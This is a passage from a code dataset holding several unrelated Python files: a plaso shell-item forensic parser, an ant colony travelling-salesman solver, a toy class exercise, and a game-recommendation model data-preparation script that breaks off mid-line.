value\nprint(parents['shiny gold'])\n","repo_name":"michalwasik/Advent-of-Code","sub_path":"2020/07.py","file_name":"07.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"17029632021","text":"import pyfwsi\n\nfrom plaso.events import shell_item_events\nfrom plaso.lib import eventdata\nfrom plaso.winnt import shell_folder_ids\n\n\nif pyfwsi.get_version() < '20140714':\n raise ImportWarning(\n u'Shell item support fuctions require at least pyfwsi 20140714.')\n\n\nclass ShellItemsParser(object):\n \"\"\"Parses for Windows NT shell items.\"\"\"\n\n NAME = 'shell_items'\n\n def __init__(self, origin):\n \"\"\"Initializes the parser.\n\n Args:\n origin: A string containing the origin of the event (event source).\n \"\"\"\n super(ShellItemsParser, self).__init__()\n self._origin = origin\n self._path_segments = []\n\n def _ParseShellItem(self, parser_context, shell_item):\n \"\"\"Parses a shell item.\n\n Args:\n parser_context: A parser context object (instance of ParserContext).\n shell_item: the shell item (instance of pyfwsi.item).\n \"\"\"\n path_segment = None\n\n if isinstance(shell_item, pyfwsi.root_folder):\n description = shell_folder_ids.DESCRIPTIONS.get(\n shell_item.shell_folder_identifier, None)\n\n if description:\n path_segment = description\n else:\n path_segment = u'{{{0:s}}}'.format(shell_item.shell_folder_identifier)\n\n elif isinstance(shell_item, pyfwsi.volume):\n if shell_item.name:\n path_segment = shell_item.name\n elif shell_item.identifier:\n path_segment = u'{{{0:s}}}'.format(shell_item.identifier)\n\n elif isinstance(shell_item, pyfwsi.file_entry):\n long_name = u''\n localized_name = u''\n file_reference = u''\n for exension_block in shell_item.extension_blocks:\n if isinstance(exension_block, pyfwsi.file_entry_extension):\n long_name = exension_block.long_name\n localized_name = exension_block.localized_name\n file_reference = exension_block.file_reference\n if file_reference:\n file_reference = u'{0:d}-{1:d}'.format(\n file_reference & 0xffffffffffff, file_reference >> 48)\n\n fat_date_time = exension_block.get_creation_time_as_integer()\n if fat_date_time:\n event_object = shell_item_events.ShellItemFileEntryEvent(\n fat_date_time, eventdata.EventTimestamp.CREATION_TIME,\n shell_item.name, long_name, localized_name, file_reference,\n self._origin)\n parser_context.ProduceEvent(event_object, parser_name=self.NAME)\n\n fat_date_time = exension_block.get_access_time_as_integer()\n if fat_date_time:\n event_object = shell_item_events.ShellItemFileEntryEvent(\n fat_date_time, eventdata.EventTimestamp.ACCESS_TIME,\n shell_item.name, long_name, localized_name, file_reference,\n self._origin)\n parser_context.ProduceEvent(event_object, parser_name=self.NAME)\n\n fat_date_time = shell_item.get_modification_time_as_integer()\n if fat_date_time:\n event_object = shell_item_events.ShellItemFileEntryEvent(\n fat_date_time, eventdata.EventTimestamp.MODIFICATION_TIME,\n shell_item.name, long_name, localized_name, file_reference,\n self._origin)\n parser_context.ProduceEvent(event_object, parser_name=self.NAME)\n\n if long_name:\n path_segment = long_name\n elif shell_item.name:\n path_segment = shell_item.name\n\n elif isinstance(shell_item, pyfwsi.network_location):\n if shell_item.location:\n path_segment = shell_item.location\n\n if path_segment is None and shell_item.class_type == 0x00:\n # TODO: check for signature 0x23febbee\n pass\n\n if path_segment is None:\n path_segment = u'UNKNOWN: 0x{0:02x}'.format(shell_item.class_type)\n\n self._path_segments.append(path_segment)\n\n def CopyToPath(self):\n \"\"\"Copies the shell items to a path.\n\n Returns:\n A Unicode string containing the converted shell item list path or None.\n \"\"\"\n if not self._path_segments:\n return\n\n return u', '.join(self._path_segments)\n\n def Parse(self, parser_context, byte_stream, codepage='cp1252'):\n \"\"\"Parses the shell items from the byte stream.\n\n Args:\n parser_context: A parser context object (instance of ParserContext).\n byte_stream: a string holding the shell items data.\n codepage: Optional byte stream codepage. The default is cp1252.\n \"\"\"\n self._path_segments = []\n shell_item_list = pyfwsi.item_list()\n shell_item_list.copy_from_byte_stream(byte_stream, ascii_codepage=codepage)\n\n for shell_item in shell_item_list.items:\n self._ParseShellItem(parser_context, shell_item)\n","repo_name":"cvandeplas/plaso","sub_path":"plaso/parsers/shared/shell_items.py","file_name":"shell_items.py","file_ext":"py","file_size_in_byte":4583,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"32"} +{"seq_id":"17904132363","text":"\"\"\"\nCode Reference : https://github.com/Akavall/AntColonyOptimization\n\"\"\"\nimport random as rn\nimport numpy as np\nfrom numpy.random import choice as np_choice\nimport random\nimport pandas as pd\nimport operator\nimport time\n\nclass AntColony:\n def __init__(self, distances, n_ants, n_best, n_iterations, decay, alpha=1, beta=1):\n \"\"\"\n Args:\n distances (2D numpy.array): Square matrix of distances. Diagonal is assumed to be np.inf.\n n_ants (int): Number of ants running per iteration\n n_best (int): Number of best ants who deposit pheromone\n n_iteration (int): Number of iterations\n decay (float): Rate it which pheromone decays. The pheromone value is multiplied by decay, so 0.95 will lead to decay, 0.5 to much faster decay.\n alpha (int or float): exponenet on pheromone, higher alpha gives pheromone more weight. Default=1\n beta (int or float): exponent on distance, higher beta give distance more weight. Default=1\n\n Example:\n ant_colony = AntColony(german_distances, 100, 20, 2000, 0.95, alpha=1, beta=2) \n \"\"\"\n self.distances = distances\n self.pheromone = np.ones(self.distances.shape) / len(distances)\n self.all_inds = range(len(distances))\n self.n_ants = n_ants\n self.n_best = n_best\n self.n_iterations = n_iterations\n self.decay = decay\n self.alpha = alpha\n self.beta = beta\n\n \n def run(self):\n shortest_path = None\n all_time_shortest_path = (\"placeholder\", np.inf)\n for i in range(self.n_iterations):\n all_paths = self.gen_all_paths()\n self.spread_pheronome(all_paths, self.n_best, shortest_path=shortest_path)\n shortest_path = min(all_paths, key=lambda x: x[1])\n #print(\"Length of the Shortest path during \"+str(i)+\" iteration is \"+str(shortest_path[1]))\n if shortest_path[1] < all_time_shortest_path[1]:\n all_time_shortest_path = shortest_path \n self.pheromone * self.decay \n return all_time_shortest_path\n\n def spread_pheronome(self, all_paths, n_best, shortest_path):\n sorted_paths = sorted(all_paths, key=lambda x: x[1])\n for path, dist in sorted_paths[:n_best]:\n for move in path:\n self.pheromone[move] += 1.0 / self.distances[move]\n\n def gen_path_dist(self, path):\n total_dist = 0\n for ele in path:\n total_dist += self.distances[ele]\n return total_dist\n\n def gen_all_paths(self):\n all_paths = []\n for i in range(self.n_ants):\n path = self.gen_path(0)\n all_paths.append((path, self.gen_path_dist(path)))\n return all_paths\n\n def gen_path(self, start):\n path = []\n visited = set()\n visited.add(start)\n prev = start\n for i in range(len(self.distances) - 1):\n move = self.pick_move(self.pheromone[prev], self.distances[prev], visited)\n path.append((prev, move))\n prev = move\n visited.add(move)\n path.append((prev, start)) # going back to where we started \n return path\n\n def pick_move(self, pheromone, dist, visited):\n pheromone = np.copy(pheromone)\n pheromone[list(visited)] = 0\n\n row = pheromone ** self.alpha * (( 1.0 / dist) ** self.beta)\n\n norm_row = row / row.sum()\n move = np_choice(self.all_inds, 1, p=norm_row)[0]\n return move\n\n\ndef read_data(data_file):\n df = pd.read_csv(data_file) \n nodes = []\n for i in range(len(df['pairs'])):\n sp = df['pairs'][i].split(' ')\n x = float(sp[1])\n y = float(sp[2])\n nodes.append([x, y])\n return nodes\n\n \ndef eucledian_distance(a, b):\n ret = 0\n for i in range(len(a)):\n ret += (a[i] - b[i]) ** 2\n return ret ** 0.5\n\n\ndef main(data_file):\n start = time.time()\n\n beta = 2\n q0 = 0.95\n alpha = 0.1\n peta = 0.1\n n_ants = 20 #No of Ants\n m_ants = 5\n iterations = 100\n\n nodes = read_data(data_file)\n\n arrs = [[np.inf]*len(nodes)]*len(nodes)\n\n for i in range(len(nodes)):\n for j in range(i+1, len(nodes)):\n arrs[i][j] = eucledian_distance(nodes[i], nodes[j])\n arrs[j][i] = arrs[i][j]\n\n distances = np.array(arrs)\n\n ant_colony = AntColony(distances, n_ants, m_ants, iterations, q0, alpha, beta)\n\n shortest_path = ant_colony.run()\n print('Shortest Path Length', str(shortest_path[1]))\n\n time_lapse = time.time() - start\n print('Time lapsed', time_lapse)\n\nif __name__=='__main__':\n main(data_file)","repo_name":"Shraddha2702/Summer_AI","sub_path":"TravelingSalesman/Algorithms/.ipynb_checkpoints/AntColonyAlgo-checkpoint.py","file_name":"AntColonyAlgo-checkpoint.py","file_ext":"py","file_size_in_byte":4681,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"3985351358","text":"class Person:\n def __init__(self, name):\n self.name = name\n\n def __str__(self):\n return self.name\n\n def push_name(self, person):\n person.name = self.name\n\n def attack(self, person):\n name = str(person)\n for _ in str(name):\n if _ in self.name.lower() + self.name.upper():\n name = name.replace(_, '')\n person.name = name\n\n def show_name(self):\n print(f\"Hello, I am {self.name}\")\n\n\nclass Destroyer:\n def __init__(self, chars, replace_chars='#'):\n self.chars = chars\n self.replace_chars = replace_chars\n\n def __call__(self, person):\n name = str(person)\n repl_list = []\n for _ in str(name):\n if _ in self.chars.lower() + self.chars.upper():\n name = name.replace(_, self.replace_chars)\n repl_list.append(f\"'{_.lower()}'\")\n repl_list = list(set(repl_list))\n repl_list.sort()\n print(f\"Destroyed: {', '.join(set(repl_list))} from {name}'s name.\")\n person.name = name\n return person\n\n\nif __name__ == '__main__':\n john = Person(\"John\")\n alberta = Person(\"Alberta\")\n print(john, alberta)\n v_kill = Destroyer(\"aeiou\")\n v_kill(john)\n print(john, alberta)\n alpha_kill = Destroyer(\"\".join(chr(i) for i in range(65, 91)), \"\")\n print(john, alberta)\n alpha_kill(john)\n print(john, alberta)\n alberta.push_name(john)\n print(john, alberta)\n caitlin = Person(\"Caitlin\")\n john.attack(caitlin)\n print(caitlin)\n v_kill(caitlin).show_name()\n alberta.show_name()\n","repo_name":"berson969/InterviewTests","sub_path":"bykov_decision.py","file_name":"bykov_decision.py","file_ext":"py","file_size_in_byte":1593,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"38520362131","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 8 11:34:08 2019\n\n@author: gzs13133\n\"\"\"\n\nimport numpy as np\nimport pandas as pd\nimport lightgbm as lgb\nimport matplotlib.pylab as plt\n\nfrom sklearn.metrics import roc_auc_score\nfrom sklearn.linear_model import LogisticRegression\n\nimport os \nos.chdir('C://Users//GZS13133//intern//data//data_with_hist')\nimport keras.backend as K\nfrom base_structure import draw\nfrom model import ccBaseModel, ccDINModelwithOneHist, ccdeepFM\nfrom data_process import judge_multi_feature, multi_column_info, one_column_inde_info, train_test_split, \\\n sample_weight_generate, nlp_weight_dict, nlp_wor2vec_dict, gametype_word2evc_list, \\\n train_test_split_all, column_count_bar, data_build\n\n\n'''数据类型\nsn, gametype, label, \nandroid_app: 1001 types, 250 length, sn\nios_app: 1001 types, 8 length, sn\nmobile_model: 1001 types, 20 length, sn \ninterest_gametype: : 24 types, 9 length, sn\ngametype_label: 1000 types, 20 length, game\ngametype_hotrank_by_aid_cnt: 51 types, 1 length, game \ngametype_hotrank_by_uid_cnt: 51 types, 1 length, game\ngametype_id: 127 types, 1 length, same as gametype\n'''\n\n'''建模的两种思路\n1.将有长度的seqence看成是multi-hot编码的特征输入到DIN模型\n2.将有长度的seqence看成是多个hist序列进行attention求和处理 (不可行,因为特征空间不同,可以引入transformer结构)\n(理解成其他不同的历史行为对用户的推荐产生不一样的影响)\n本质上两者的区别在于是否有attention\n'''\n\n\n############ 数据读取\ncolumns = 'sn, gametype, label, android_app, ios_app, mobile_model, \\\ninterest_gametype, gametype_label, gametype_hotrank_by_aid_cnt, \\\ngametype_hotrank_by_uid_cnt, gametype_id'\n\n#data_route = 'temp'\n#data_route = 'temp_05_09'\ndata_route = 'temp_05_22_train'\ndata_all = pd.read_csv(data_route, header=None, sep='\\t', low_memory=False)\ndata_all.columns = columns.split(', ')\n\n#gametype & gametype_id 一致\n#a, b = list(data['gametype'].values),list(data['gametype_id'].values)\n#sum([1*(a[i]==b[i]) for i in range(len(a))])\ndata_all = data_all.iloc[:,:-1]\n \ndata_all = data_all.fillna('-1')\n\ndata_route = 'temp_05_22_test'\ndata_all_1 = pd.read_csv(data_route, header=None, sep='\\t', low_memory=False)\ndata_all_1.columns = columns.split(', ')\ndata_all_1 = data_all_1.iloc[:,:-1]\ndata_all_1 = data_all_1.fillna('-1')\n\ndata_alll = pd.concat([data_all, data_all_1])\ndata, data_in = train_test_split_all(data_alll, test_num=150000)\ndel data_alll, data_all, data_all_1\n#data_all_with_hist = data_all[data_all['interest_gametype'] != '-1']\n#data_all_without_hist = data_all[data_all['interest_gametype'] == '-1']\n\n#data_all = pd.read_csv('C:/Users/GZS13133/intern/data/csv_data/data_train_all.csv', low_memory=False)\n#data_in = pd.read_csv('C:/Users/GZS13133/intern/data/csv_data/data_test_all.csv', low_memory=False)\n\ndata_all = pd.read_csv('temp_hist_0610', low_memory=False)\n\ndata_all.columns = columns.split(', ')\ndata_all = data_all.iloc[:,:-1] \ndata_all = data_all.fillna('-1')\ndata_all = data_all[data_all['gametype'] != -1]\ndata_all_hist = data_all[data_all['interest_gametype'] != '-1']\ndata_all_hist.to_csv('temp_hist_0610', header=True, index=False)\n#train_num = 5000000\n#data_all = data_build(data_all, train_num, app_minus_inclued=False, sep='::')\ncolumn_count_bar(data_all_hist, 'gametype', 'All')\n\ndata = pd.read_csv('temp_train_0610_100w', low_memory=False)\ndata_in = pd.read_csv('temp_test_0610_1w', low_memory=False)\ndata_all = pd.concat([data, data_in])\n\ndata_temp = data_build(data_all, 800000)\ndata, data_in = train_test_split_all(data_temp, test_num=150000)\n#data.to_csv('temp_train_0627_400w', header=True, index=False)\n#data_in.to_csv('temp_test_0627_15w', header=True, index=False)\ndel data_all, data_temp\n\n\n#不同gametype下的1-0比例不一致,需要先进行分析\ndef fun1(x):\n return sum(x==1)/sum(x==0)\ndef fun2(x):\n return sum(x==1)\ndef fun3(x):\n return sum(x==0)\ndef fun4(x):\n return sum(x==1)/len(x)\ndef fun5(x, total=len(data)):\n return len(x)/total\n\ngametype_ratio = data.groupby('gametype').agg({'label':[fun1, fun2, fun3, fun4, fun5]})\ngametype_ratio.columns = ['label_1/0_rate', 'label_1_num', 'label_0_num', 'label_1_ratio', 'gametype_ratio']\n\n#gametype:[pos_ratio, gametype_ratio]\ngametype_rate_dict = {}\nfor i in zip(gametype_ratio.index, gametype_ratio.iloc[:,3].values, gametype_ratio.iloc[:,4].values):\n gametype_rate_dict[i[0]] = [i[1], i[2]]\n\nsample_nums, train_prop = len(data), 0.97\n#data = data_all\n#del data_all\ntrain_num = int(sample_nums)\n#data = data_build(data_all, sample_nums, gametype_rate_dict)\n#data = data_build(data_all_with_hist, sample_nums, app_minus_inclued=False)\n#613229个sn,即用户;48个gametype\n#len(set(list(data['sn'].values))) \n#temp_0 = data.groupby('sn').agg(len)\n\n\n############ 数据预处理\ndef entropy(label):\n \n temp_1 = np.sum([label == 1]) / len(label)\n temp_2 = 1 - temp_1\n entropy = -(temp_1*np.log(temp_1) + temp_2*np.log(temp_2))\n \n return entropy\n\n#max:0.6931471805599453\nentropy(np.array(data['label'].values)) # 0.6197236875877505\ntemp =data.groupby('gametype_hotrank_by_uid_cnt').agg({'label':entropy})\nnp.sum(temp['label'].values)/len(temp) # 0.40144343228980817\ntemp =data.groupby('gametype_hotrank_by_aid_cnt').agg({'label':entropy})\nnp.sum(temp['label'].values)/len(temp) # 0.4163850320997233\n\ngametype_num = len(set(data['gametype']))\n#发现有个含有-1,可以填充;有个9022的,出现了一个子label,即变短了,也可以填充。\ngametype_label_sp = judge_multi_feature(data, 'gametype', 'gametype_label')\n\n###### game的feature_list生成 \n#生成对应的单长度序列(one:gametype_hotrank_by_aid_cnt & gametype_hotrank_by_uid_cnt),作为两个独立的特征\nhotrank_aid_num, hotrank_aid_list, hotrank_aid_dict = one_column_inde_info(data, 'gametype_hotrank_by_aid_cnt')\nhotrank_uid_num, hotrank_uid_list, hotrank_uid_dict = one_column_inde_info(data, 'gametype_hotrank_by_uid_cnt')\n\n#或者多长度序列(multi:gametype_label)\ngametype_label_num, gametype_label_len, gametype_dict, gametype_label_list, gametype_label_dict, _ = multi_column_info(data, 'gametype_label', 'gametype', sep='::')\n\n#nlp特征\nr1 = 'p2'\nr2 = 'dout2'\n\ngametype_nlp_weight_dict = nlp_weight_dict(r1, gametype_dict)\nword2vec = nlp_wor2vec_dict(r2)\n\nword2vec_list = gametype_word2evc_list(gametype_nlp_weight_dict, word2vec, gametype_num+1)\ndel word2vec\n\n###### sn的feature_list生成 \nsn_num = len(set(data['sn']))\n#一致性检查,发现很多sn下对应multi特征并不一样,但是只需要找到其中最长的作为其特征表示即可\nsn_android_app_sp = judge_multi_feature(data, 'sn', 'android_app')\nsn_ios_app_sp = judge_multi_feature(data, 'sn', 'ios_app')\nsn_mobile_model_sp = judge_multi_feature(data, 'sn', 'mobile_model')\nsn_interest_gametype_sp = judge_multi_feature(data, 'sn', 'interest_gametype')\n\nandroid_app_num, android_app_len, sn_dict, android_app_list, android_app_dict, _ = multi_column_info(data, 'android_app', 'sn', sep='::')\nios_app_num, ios_app_len, _, ios_app_list, ios_app_dict, _ = multi_column_info(data, 'ios_app', 'sn', sep='::')\nmobile_model_num, mobile_model_len, _, mobile_model_list, mobile_model_dict, _ = multi_column_info(data, 'mobile_model', 'sn', sep='::')\ninterest_gametype_num, interest_gametype_len, _, interest_gametype_list, interest_gametype_dict, tr_list = multi_column_info(data, 'interest_gametype', 'sn', gametype_dict=gametype_dict, sep='::')\n\n\n###### model输入生成\n### train准备\nsn_list = list(data['sn'].apply(lambda x:sn_dict[x]).values)\ngametype_list = list(data['gametype'].apply(lambda x:gametype_dict[x]).values)\n#以interest作为hist(其他也转化hist备用)\nhist_list = [interest_gametype_list[i] for i in sn_list]\nhist_last_sequence_list = [tr_list[0][i] for i in sn_list]\npos = [tr_list[1][i] for i in sn_list]\nneg = [tr_list[2][i] for i in sn_list]\nandroid_hist_list = [android_app_list[i] for i in sn_list]\nios_hist_list = [ios_app_list[i] for i in sn_list]\nmobile_hist_list = [mobile_model_list[i] for i in sn_list]\n\nlabel = np.array(list(data['label'].values))\n#根据gametype下的gametype比例以及0-1比例设置sample_weight\nsample_weight_gametype_and_label = sample_weight_generate(gametype_rate_dict)\n\nsample_weight = []\nfor i in range(len(data)):\n temp = str(data['gametype'].iloc[i]) + str(data['label'].iloc[i])\n sample_weight.append(sample_weight_gametype_and_label[temp]) \nsample_weight = np.array(sample_weight)\n \n#构造训练集和测试集\ntrain_sample_index, test_sample_index = train_test_split(data, train_num, gametype_rate_dict)\nsample_weight_train = sample_weight[train_sample_index]\n\n# one_hist\n#同分布\nx_all = list(zip(sn_list, gametype_list, hotrank_aid_list, hotrank_uid_list, hist_list))\nx_all = np.array(x_all)\nx_train = x_all[train_sample_index].tolist()\nx_train = [list(i) for i in list(zip(*x_train))]\nx_eval = x_all[test_sample_index].tolist()\nx_eval = [list(i) for i in list(zip(*x_eval))]\ncc_train_sample = [x_train, label[train_sample_index]]\ncc_eval_sample = [x_eval, label[test_sample_index]]\n\n#尽量均衡\neval_bal_nums = 90000\n\n#data_all_1_with_hist = data_all_1[data_all_1['interest_gametype'] != '-1']\n#data_all_1_without_hist = data_all_1[data_all_1['interest_gametype'] == '-1']\n#diff_list = list(set(data_all_1['sn']).difference(set(data['sn']))) \n#in_list = list(set(sn_list))\n#in_index = [i for i in range(len(data_all_1)) if data_all_1['sn'].iloc[i] in in_list] \n#\n#temp_ratio = 1/len(gametype_rate_dict)\n#gametype_rate_dict_balance = {}\n#for i in gametype_rate_dict.keys():\n# gametype_rate_dict_balance[i] = [0.5, temp_ratio]\n# \n#data_in = data_build(data_all_1_with_hist, eval_bal_nums, gametype_rate_dict_balance)\n#del data_all_1, data_all_1_with_hist, data_all_1_without_hist\n\n_, hotrank_aid_list_in, _ = one_column_inde_info(data_in, 'gametype_hotrank_by_aid_cnt', base_dict=hotrank_aid_dict)\n_, hotrank_uid_list_in, _ = one_column_inde_info(data_in, 'gametype_hotrank_by_uid_cnt', base_dict=hotrank_uid_dict)\n_, _, _, gametype_label_list_in, _, _ = multi_column_info(data_in, 'gametype_label', 'gametype', maxlen=gametype_label_len, dict_base=gametype_label_dict)\n\n_, _, sn_dict_in, android_app_list_in,_, _ = multi_column_info(data_in, 'android_app', 'sn', maxlen=android_app_len, dict_base=android_app_dict, sep='::')\n_, _, _, ios_app_list_in, _, _ = multi_column_info(data_in, 'ios_app', 'sn', maxlen=ios_app_len, dict_base=ios_app_dict, sep='::')\n_, _, _, mobile_model_list_in, _, _ = multi_column_info(data_in, 'mobile_model', 'sn', maxlen=mobile_model_len, dict_base=mobile_model_dict, sep='::')\n_, _, _, interest_gametype_list_in, _, tr_list_in = multi_column_info(data_in, 'interest_gametype', 'sn', maxlen=interest_gametype_len, gametype_dict=gametype_dict, sep='::')\n\nsn_list_in = list(data_in['sn'].apply(lambda x:sn_dict[x] if x in sn_dict.keys() else 1).values)\ngametype_list_in = list(data_in['gametype'].apply(lambda x:gametype_dict[x] if x in gametype_dict.keys() else 1).values)\nhist_list_in = [interest_gametype_list_in[sn_dict_in[i]] for i in data_in['sn']]\nhist_last_sequence_list_in = [tr_list_in[0][sn_dict_in[i]] for i in data_in['sn']]\npos_in = [tr_list_in[1][sn_dict_in[i]] for i in data_in['sn']]\nneg_in = [tr_list_in[2][sn_dict_in[i]] for i in data_in['sn']]\n\nlabel_eval = np.array(list(data_in['label'].values))\nlabel_rand = np.zeros(len(label))\nlabel_eval_rand = np.zeros(len(label_eval))\n\n#length = interest_gametype_len*interest_gametype_len\n#auxiliary_index_ltr = np.array([np.tril(np.ones(interest_gametype_len, dtype='int32')) for i in range(len(sn_list))]).reshape((-1, length))\n#auxiliary_index_i = np.array([np.eye(interest_gametype_len, dtype='int32') for i in range(len(sn_list))]).reshape((-1, length))\n#auxiliary_index_ltr_in = np.array([np.tril(np.ones(interest_gametype_len, dtype='int32')) for i in range(len(sn_list_in))]).reshape((-1, length))\n#auxiliary_index_i_in = np.array([np.eye(interest_gametype_len, dtype='int32') for i in range(len(sn_list_in))]).reshape((-1, length))\n\n\nx_train = [sn_list, gametype_list, hotrank_aid_list, hotrank_uid_list, hist_list]\ncc_train_sample = [x_train, label, label_rand]\nx_eval = [sn_list_in, gametype_list_in, hotrank_aid_list_in, hotrank_uid_list_in, hist_list_in]\ncc_eval_sample = [x_eval, label_eval, label_eval_rand]\n\nx_train_tr = [sn_list, gametype_list, hotrank_aid_list, hotrank_uid_list, hist_list, hist_last_sequence_list, pos, neg]\ncc_train_sample_tr = [x_train_tr, label, label_rand]\nx_eval_tr = [sn_list_in, gametype_list_in, hotrank_aid_list_in, hotrank_uid_list_in, hist_list_in, hist_last_sequence_list_in, pos_in, neg_in]\ncc_eval_sample_tr = [x_eval_tr, label_eval, label_eval_rand]\n\n# multi_hist\n#同分布\nx_all_multi = list(zip(sn_list, gametype_list, hotrank_aid_list, hotrank_uid_list, hist_list, android_hist_list, ios_hist_list, mobile_hist_list))\nx_all_multi = np.array(x_all_multi)\nx_train_multi = x_all_multi[train_sample_index].tolist()\nx_train_multi = [list(i) for i in list(zip(*x_train_multi))]\nx_eval_multi = x_all_multi[test_sample_index].tolist()\nx_eval_multi = [list(i) for i in list(zip(*x_eval_multi))]\ncc_train_multi_sample = [x_train_multi, label[train_sample_index]]\ncc_eval_multi_sample = [x_eval_multi, label[test_sample_index]]\n\n#均衡\nx_train_multi = [sn_list, gametype_list, hotrank_aid_list, hotrank_uid_list, hist_list, android_hist_list, ios_hist_list, mobile_hist_list]\ncc_train_multi_sample = [x_train_multi, label]\n\nandroid_hist_list_in = [android_app_list_in[sn_dict_in[i]] for i in data_in['sn']]\nios_hist_list_in = [ios_app_list_in[sn_dict_in[i]] for i in data_in['sn']]\nmobile_hist_list_in = [mobile_model_list_in[sn_dict_in[i]] for i in data_in['sn']]\n\nx_eval_multi = [sn_list_in, gametype_list_in, hotrank_aid_list_in, hotrank_uid_list_in, hist_list_in, android_hist_list_in, ios_hist_list_in, mobile_hist_list_in]\ncc_eval_multi_sample = [x_eval_multi, label_eval]\n\n\n### model参数\n#简单规则:train的分布区预测test\ndef fun1(x):\n return sum(x==1)/len(x)\n\ndata_dict = {}\ntemp = data.groupby('gametype').agg({'label':fun1})\ntemp.columns = ['label_1_ratio']\nfor i in zip(temp.index, temp['label_1_ratio']):\n data_dict[i[0]] = i[1]\n\ny_pred = []\nfor i in data_in['gametype']:\n if i in data_dict.keys():\n y_pred.append(data_dict[i])\n else:\n y_pred.append(0)\n \nroc_auc_score(data_in['label'], y_pred) #0.5779539111727456\n#column_count_bar(data_in, 'gametype', t='test')\n#column_count_bar(data, 'gametype', t='train')\n'''\n###### 绘制对比效果图\n\ni = 0\nfor use_Activa in use_Activas:\n# draw_epoch(cc_DIN_One[i].auc_val, 'One'+use_Activa, batch_size, train_num, record_num, i)\n# draw_epoch(cc_DIN_Multi[i].auc_val, 'Multi'+use_Activa, batch_size, train_num, record_num, i)\n draw(cc_DIN_One[i].auc_val, cc_DIN_Multi[i].auc_val, train_num, batch_size, record_num, use_Activa, i+1) \n i += 1\n\ni = 0 \nOne_Dataframe = []\nMulti_Dataframe = []\nfor use_Activa in use_Activas:\n One_dict = {'epoch_1': cc_DIN_One[i].auc_val_item[0], 'epoch_2': cc_DIN_One[i].auc_val_item[1], 'epoch_3': cc_DIN_One[i].auc_val_item[2]}\n temp_One = pd.DataFrame(One_dict)\n temp_One.index = cc_DIN_One[i].item_val \n One_Dataframe.append(temp_One)\n \n Multi_dict = {'epoch_1': cc_DIN_Multi[i].auc_val_item[0], 'epoch_2': cc_DIN_Multi[i].auc_val_item[1], 'epoch_3': cc_DIN_Multi[i].auc_val_item[2]}\n temp_Multi = pd.DataFrame(Multi_dict)\n temp_Multi.index = cc_DIN_Multi[i].item_val \n Multi_Dataframe.append(temp_Multi)\n \n i += 1\n\n \n############ 数据过多,因此分块进行训练\n#block_size = 10\n#block_num = sample_nums // 10\n#cc_DIN_One_s = []\n#\n#for block in range(1, block_size+1):\n# cc_train_sample_temp = [[i[block_num*(block-1):block_num*block] for i in cc_train_sample[0]], cc_train_sample[1][block_num*(block-1):block_num*block]]\n#\n# if block == 1:\n# ccDIN_s = ccDINModelwithOneHist(sn_num, gametype_num, hotrank_aid_num, hotrank_uid_num, interest_gametype_len, \n# android_app_num, ios_app_num, mobile_model_num, \n# android_app_list, ios_app_list, mobile_model_list,\n# gametype_label_num, gametype_label_list, use_Activa='Sigmoid')\n# \n# ccDIN_res_s = ccDIN_s.train_model(cc_train_sample_temp, cc_eval_sample, batch_size, epoch, record_num)\n# cc_DIN_One_s.append(ccDIN_res_s)\n# else:\n# ccDIN_res_s = ccDIN_s.train_model(cc_train_sample_temp, cc_eval_sample, batch_size, epoch, record_num)\n# cc_DIN_One_s.append(ccDIN_res_s)\n\n#val_all = []\n#for res in cc_DIN_One_s:\n# val_all.extend(res.auc_val )\n# \n#import matplotlib.pylab as plt\n#plt.plot(list(range(len(val_all))), val_all)\n#plt.show()\n'''\n\n#gdbt + LR\ndef generate_array(raw_list, l):\n \n res = [0] * (l+2)\n for i in raw_list:\n if i == 0:\n break\n res[i] = 1\n \n return res\n \nhotrank_aid_list_array = np.array(hotrank_aid_list, dtype='int32').reshape(-1, 1)\nhotrank_uid_list_array = np.array(hotrank_uid_list, dtype='int32').reshape(-1, 1)\ngt_array = np.array(gametype_list, dtype='int32').reshape(-1, 1)\ngtl_array = np.array([generate_array(gametype_label_list[i], gametype_label_num) for i in gametype_list], dtype='int32').reshape(-1, gametype_label_num+2)\nhist_array = np.array([generate_array(i, gametype_num) for i in hist_list], dtype='int32').reshape(-1, gametype_num+2)\nandroid_hist_array = np.array([generate_array(i, android_app_num) for i in android_hist_list], dtype='int32').reshape(-1, android_app_num+2)\nios_hist_array = np.array([generate_array(i, ios_app_num) for i in ios_hist_list], dtype='int32').reshape(-1, ios_app_num+2)\nmobile_hist_array = np.array([generate_array(i, mobile_model_num) for i in mobile_hist_list], dtype='int32').reshape(-1, mobile_model_num+2)\ngl_train = np.concatenate((hotrank_aid_list_array, hotrank_uid_list_array, gt_array, gtl_array, hist_array, android_hist_array, ios_hist_array, mobile_hist_array), axis=-1)\n\nhotrank_aid_list_array_eval = np.array(hotrank_aid_list_in, dtype='int32').reshape(-1, 1)\nhotrank_uid_list_array_eval = np.array(hotrank_uid_list_in, dtype='int32').reshape(-1, 1)\ngt_array_eval = np.array(gametype_list_in, dtype='int32').reshape(-1, 1)\ngtl_array_eval = np.array([generate_array(gametype_label_list_in[i], gametype_label_num) for i in gametype_list_in], dtype='int32').reshape(-1, gametype_label_num+2)\nhist_array_eval = np.array([generate_array(i, gametype_num) for i in hist_list_in], dtype='int32').reshape(-1, gametype_num+2)\nandroid_hist_list_in = [android_app_list_in[sn_dict_in[i]] for i in data_in['sn']]\nandroid_hist_array_eval = np.array([generate_array(i, android_app_num) for i in android_hist_list_in], dtype='int32').reshape(-1, android_app_num+2)\nios_hist_list_in = [ios_app_list_in[sn_dict_in[i]] for i in data_in['sn']]\nios_hist_array_eval = np.array([generate_array(i, ios_app_num) for i in ios_hist_list_in], dtype='int32').reshape(-1, ios_app_num+2)\nmobile_hist_list_in = [mobile_model_list_in[sn_dict_in[i]] for i in data_in['sn']]\nmobile_hist_array_eval = np.array([generate_array(i, mobile_model_num) for i in mobile_hist_list_in], dtype='int32').reshape(-1, mobile_model_num+2)\ngl_eval = np.concatenate((hotrank_aid_list_array_eval, hotrank_uid_list_array_eval, gt_array_eval, gtl_array_eval, hist_array_eval, android_hist_array_eval, ios_hist_array_eval, mobile_hist_array_eval), axis=-1)\n\nname = [str(i) for i in 